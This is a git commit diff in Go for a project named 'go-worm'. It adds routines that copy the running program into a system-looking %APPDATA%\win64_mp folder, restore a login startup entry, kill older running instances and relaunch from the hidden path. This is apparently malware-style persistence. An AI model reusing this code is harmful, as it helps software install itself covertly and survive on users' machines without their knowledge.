fix(core): take over agent, reuse callbacks
- Kill running agents before replace - Retry copy with backoff while locked - Reuse syscall callbacks at package scope - Add callback regression test
This commit is contained in:
+44
-7
@@ -6,12 +6,21 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
)
|
||||
|
||||
const replaceWait = 8 * time.Second
|
||||
|
||||
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
|
||||
// refreshes an existing startup entry to that path, and re-launches from there.
|
||||
// If an older agent is already installed or listening, it is torn down first.
|
||||
// Old builds have no version field to compare, so any launch from outside
|
||||
// the install path takes over.
|
||||
func Ensure() error {
|
||||
target, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
@@ -34,19 +43,47 @@ func Ensure() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := copyExe(current, target); err != nil {
|
||||
if _, statErr := os.Stat(target); statErr != nil {
|
||||
return fmt.Errorf("copy to %s: %w", target, err)
|
||||
hadStartup := startup.Enabled()
|
||||
takeover(target)
|
||||
if err := replaceExe(current, target); err != nil {
|
||||
return fmt.Errorf("copy to %s: %w", target, err)
|
||||
}
|
||||
if hadStartup {
|
||||
if err := startup.Enable(); err != nil {
|
||||
helpers.Log.Printf("takeover: restore startup: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := syncStartup(); err != nil {
|
||||
return fmt.Errorf("update startup path: %w", err)
|
||||
}
|
||||
|
||||
return relaunchInstalled(target)
|
||||
}
|
||||
|
||||
func takeover(installed string) {
|
||||
helpers.Log.Printf("takeover: replacing %s", installed)
|
||||
if err := startup.Disable(); err != nil {
|
||||
helpers.Log.Printf("takeover: disable old startup: %v", err)
|
||||
}
|
||||
if err := instance.KillOtherAgents(); err != nil {
|
||||
helpers.Log.Printf("takeover: kill: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func replaceExe(from, to string) error {
|
||||
deadline := time.Now().Add(replaceWait)
|
||||
var last error
|
||||
for {
|
||||
_ = instance.KillOtherAgents()
|
||||
_ = os.Remove(to)
|
||||
last = copyExe(from, to)
|
||||
if last == nil {
|
||||
return nil
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return last
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func copyExe(from, to string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
|
||||
return err
|
||||
|
||||
Reference in New Issue
Block a user